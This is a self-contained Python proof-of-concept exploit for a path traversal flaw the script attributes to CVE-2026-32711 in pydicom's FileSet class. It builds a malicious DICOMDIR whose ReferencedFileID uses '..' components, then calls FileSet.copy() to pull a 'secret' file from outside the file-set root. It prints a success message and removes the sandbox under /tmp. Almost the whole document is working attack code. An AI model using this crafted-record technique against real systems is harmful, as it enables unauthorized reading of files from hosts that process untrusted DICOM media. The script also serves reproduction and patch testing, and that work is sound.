Vulnerable code sample

import os
import shutil
import pydicom
from pydicom.dataset import Dataset, FileDataset
from pydicom.fileset import FileSet
from pydicom.uid import generate_uid, ExplicitVRLittleEndian

# This script simulates the environment and vulnerability described in CVE-2026-32711.
# It demonstrates how a crafted DICOMDIR file can cause a pydicom.fileset.FileSet
# operation to read a file from outside the intended file-set root directory.

# --- 1. Setup the environment ---
# We will create a directory structure like this:
# /tmp/pydicom_vuln/
# |- secret_file.txt  (The file we want to exfiltrate)
# |- dicom_root/      (The legitimate root for our FileSet)
#    |- DICOMDIR      (The malicious DICOMDIR file)
#    |- image.dcm     (A legitimate DICOM file)

BASE_DIR = "/tmp/pydicom_vuln"
DICOM_ROOT = os.path.join(BASE_DIR, "dicom_root")
SECRET_FILE_PATH = os.path.join(BASE_DIR, "secret_file.txt")
LEGIT_IMAGE_PATH = os.path.join(DICOM_ROOT, "image.dcm")
DICOMDIR_PATH = os.path.join(DICOM_ROOT, "DICOMDIR")
COPY_DEST_DIR = os.path.join(BASE_DIR, "copied_files")

# Clean up previous runs
if os.path.exists(BASE_DIR):
    shutil.rmtree(BASE_DIR)

# Create directories and the secret file
os.makedirs(DICOM_ROOT)
with open(SECRET_FILE_PATH, "w") as f:
    f.write("This is a secret file outside the DICOM root.")

# --- 2. Create a legitimate DICOM file for reference ---
file_meta = Dataset()
file_meta.MediaStorageSOPClassUID = '1.2.840.10008.5.1.4.1.1.2'  # CT Image Storage
file_meta.MediaStorageSOPInstanceUID = generate_uid()
file_meta.ImplementationClassUID = pydicom.uid.PYDICOM_IMPLEMENTATION_UID
file_meta.TransferSyntaxUID = ExplicitVRLittleEndian

ds = FileDataset(LEGIT_IMAGE_PATH, {}, file_meta=file_meta, preamble=b"\0" * 128)
ds.SOPClassUID = file_meta.MediaStorageSOPClassUID
ds.SOPInstanceUID = file_meta.MediaStorageSOPInstanceUID
ds.PatientName = "Test^Patient"
ds.PatientID = "12345"
ds.is_little_endian = True
ds.is_implicit_VR = False
ds.save_as(LEGIT_IMAGE_PATH, write_like_original=False)


# --- 3. Create the malicious DICOMDIR file ---
# The vulnerability lies in how ReferencedFileID is handled. We will set it to
# a path that traverses up from DICOM_ROOT to the secret file.
# The path will be '../../secret_file.txt' relative to DICOM_ROOT/DICOMDIR.
# pydicom represents path components as a list of strings.
malicious_path_components = ["..", "..", "secret_file.txt"]

# Create File Meta Information
dicomdir_meta = Dataset()
dicomdir_meta.MediaStorageSOPClassUID = '1.2.840.10008.1.3.10' # Media Storage Directory Storage
dicomdir_meta.MediaStorageSOPInstanceUID = generate_uid()
dicomdir_meta.ImplementationClassUID = pydicom.uid.PYDICOM_IMPLEMENTATION_UID
dicomdir_meta.TransferSyntaxUID = ExplicitVRLittleEndian

# Create the main dataset for DICOMDIR
ds_dicomdir = FileDataset(DICOMDIR_PATH, {}, file_meta=dicomdir_meta, preamble=b"\0" * 128)

# Create a Directory Record Sequence
dir_rec_seq = pydicom.sequence.Sequence()
ds_dicomdir.DirectoryRecordSequence = dir_rec_seq

# Create the malicious directory record
record = Dataset()
record.OffsetOfNextDirectoryRecord = 0
record.RecordInUseFlag = 0xFFFF
record.OffsetOfReferencedLowerLevelDirectoryEntity = 0
record.DirectoryRecordType = "IMAGE"

# This is the core of the exploit. The ReferencedFileID points outside the root.
# A vulnerable version of pydicom will resolve this path to check for existence
# but will not validate that it stays within the `DICOM_ROOT`.
record.ReferencedFileID = malicious_path_components
record.ReferencedSOPClassUIDInFile = '1.2.840.10008.5.1.4.1.1.2' # Fake UID
record.ReferencedSOPInstanceUIDInFile = generate_uid() # Fake UID

dir_rec_seq.append(record)

ds_dicomdir.is_little_endian = True
ds_dicomdir.is_implicit_VR = False

# Save the malicious DICOMDIR
ds_dicomdir.save_as(DICOMDIR_PATH, write_like_original=False)

print(f"Malicious DICOMDIR created at: {DICOMDIR_PATH}")
print(f"It contains a ReferencedFileID pointing to: {malicious_path_components}")

# --- 4. Trigger the vulnerability ---
try:
    print("\n--- Triggering the vulnerability ---")
    print(f"Reading DICOMDIR from '{DICOM_ROOT}' into a FileSet...")

    # Loading the DICOMDIR creates a FileSet instance. The path resolution
    # happens during this initialization, but the path is not yet used.
    fs = FileSet(DICOMDIR_PATH)

    # The vulnerability is triggered when a file operation is performed.
    # The `copy()` method will iterate through the records and use the
    # unchecked, resolved path for the file copy operation.
    print(f"Calling fileset.copy() to '{COPY_DEST_DIR}'...")
    fs.copy(COPY_DEST_DIR)

    # --- 5. Verify the exploit ---
    print("\n--- Verifying the exploit ---")
    exfiltrated_file_path = os.path.join(COPY_DEST_DIR, "secret_file.txt")
    print(f"Checking for existence of exfiltrated file at: {exfiltrated_file_path}")

    if os.path.exists(exfiltrated_file_path):
        with open(exfiltrated_file_path, "r") as f:
            content = f.read()
        print("\nSUCCESS: Vulnerability exploited!")
        print("The secret file was copied outside its intended directory.")
        print(f"Contents of copied file: '{content}'")
    else:
        print("\nFAILURE: Vulnerability could not be exploited.")
        print("The secret file was not copied.")

except Exception as e:
    print(f"\nAn error occurred: {e}")
    print("This might happen on a patched version of pydicom or if there's a setup issue.")

finally:
    # --- 6. Cleanup ---
    print("\nCleaning up temporary files and directories...")
    if os.path.exists(BASE_DIR):
        shutil.rmtree(BASE_DIR)
    print("Cleanup complete.")